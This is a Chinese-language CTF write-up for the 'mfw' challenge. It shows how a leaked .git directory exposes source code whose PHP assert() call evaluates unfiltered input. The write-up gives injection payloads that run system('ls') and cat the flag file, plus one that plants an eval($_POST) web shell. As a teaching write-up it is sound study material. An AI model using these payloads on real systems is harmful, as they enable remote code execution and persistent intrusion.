zoukankan      html  css  js  c++  java
  • mfw

    mfw

    进去之后,在About界面得到提示,写这个网站用了Git,PHP,Bootstrap(一个网站框架)

    想到Git泄露,用dirsearch扫一下,发现果然有git泄露

    然后再用GitHack扫一下,githack的本质是解析/.git下的index文件,然后去objects找到相应文件并下载,然后我们得到源码。

    查看下目录,发现个flag.php,但是没有什么东西,因为这个git是故意泄露的,经过了某步处理(我也不清楚除了了啥)。。所以没有flag.

    这里我们通过git泄露下载的源码,除了flag.php不是网页的源码外,其余的源码和结构都与题目网页相同。

    审计代码发现只有index.php内的信息有用。

    代码审计

    <?php
    
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>
    

    assert()函数,会将里面的字符串当作php代码执行,返回的结果是True或者False

    Bool or Bool 语句,若前面为False,则执行后面的语句,为Ture则不执行后面的语句

    strpos()函数,返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。


    这里审计代码发现有个assert()函数,并且没有对$page变量进行过滤,进而我们可以控制$file参数,然后利用闭合,来执行我们的payload

    构造

    ?page=abc','..') or system('ls');//

    我们的$file参数就是

    templates/abc,'..') or system('ls');//.php

    在assert函数里就是

    assert("strpos('templates/abc,'..') or system('ls');//.php, '..') === false") or die("Detected hacking attempt!");

    这里//起到注释作用,因为'templates/abc'里没有..自然返回False,然后执行or后面的语句,来达到任意命令执行。

    构造

    ?page=abc','..') or system('cat templates/flag.php');//

    拿到flag

    当然我们也可以利用file_get_contents函数,再右键查看源码

    abc','..') or var_dump(file_get_contents("templates/flag.php"));//

    但是这时显示的却是

    经测试


    原因是返回的NULL,NULL==false,所以会执行die

    或者是构造?page=abc','..') or eval($_POST['hacker']);//

    然后蚁剑连接,拿到shell

    这题跟ctfhub的git泄露都可以还原源代码,但是ctfhub侧重于git的基本操作,而这题侧重于代码审计。

  • 相关阅读:
    CodeForces 681D Gifts by the List (树上DFS)
    UVa 12342 Tax Calculator (水题,纳税)
    CodeForces 681C Heap Operations (模拟题,优先队列)
    CodeForces 682C Alyona and the Tree (树上DFS)
    CodeForces 682B Alyona and Mex (题意水题)
    CodeForces 682A Alyona and Numbers (水题,数学)
    Virtualizing memory type
    页面跳转
    PHP Misc. 函数
    PHP 5 Math 函数
  • 原文地址:https://www.cnblogs.com/NineOne/p/13871715.html
Copyright © 2011-2022 走看看